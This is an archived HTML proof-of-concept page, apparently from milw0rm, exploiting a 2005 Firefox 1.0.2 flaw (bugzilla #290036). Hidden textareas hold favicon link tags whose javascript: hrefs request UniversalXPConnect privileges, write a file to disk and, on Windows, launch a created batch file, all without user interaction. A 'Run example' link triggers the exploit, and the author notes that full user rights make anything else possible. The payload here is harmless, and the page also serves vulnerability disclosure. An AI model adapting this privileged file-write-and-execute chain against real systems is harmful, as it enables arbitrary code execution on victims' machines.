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	<title>Firelinking - Proof-of-Concept</title>
    <link rel="SHORTCUT ICON" href="favicon.ico">    
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    function runDemo() {
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        document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
        document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
        document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
        window.setTimeout("document.getElementById('outhtml').innerHTML += document.getElementById('linkhtml_"+os+"').value",300);
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<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking - Proof-of-Concept</div>

Designed for Firefox 1.0.2 | bugzilla <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=290036" target="_blank">#290036</a>
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<div id="outhtml" style="display:none"></div>

<textarea id="clearhtml" style="display:none">
<link rel="SHORTCUT ICON" href="favicon.ico">
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<textarea id="linkhtml_win" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')">
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<textarea id="linkhtml_mac" style="display:none">

<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write(output,output.length);outputStream.close();','','')">
&lt;/textarea&gt;

<textarea id="linkhtml_linux" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write(output,output.length);outputStream.close();','','')">
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<strong><u>NOTICE:</u></strong> I really wonder why the Mozilla Foundation decided to release a serious security update on a friday night and to disclose the link to my proof-of-concept code so quickly. It wasn't intendet from my side to release this as a 0day exploit. Please complain to <a href="mailto:security@mozilla.org">security@mozilla.org</a> if you disagree with their release policy. Sorry, no CVE candidate number yet for that reason.
<br><br><br>
The link tag allows to load a custom image as the icon for a website, displayed in the location bar and in the tab title. 
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By setting the href attribute of this tag to a javascript url, it is possible to call chrome functions and run arbitrary code without user interaction. 
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The example is cross platform: On Windows this example creates the file c:\booom.bat and launches it (opens a dos box with a dir command). On Linux (tested Fedora Core) and MacOSX the example creates the file ~/booom.txt or /booom.txt. 
<br><br>
The non-windows examples are only roughly tested. Please don't complain if not working. I doubt every Mac user can write to root by default. You get full user rights with UniversalXPConnect, so everything else is just a matter of implementation time.
<br><br>
<a href="#" onclick="runDemo();runDemo();">Run example</a> (cross platform)
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# milw0rm.com [2005-04-18]
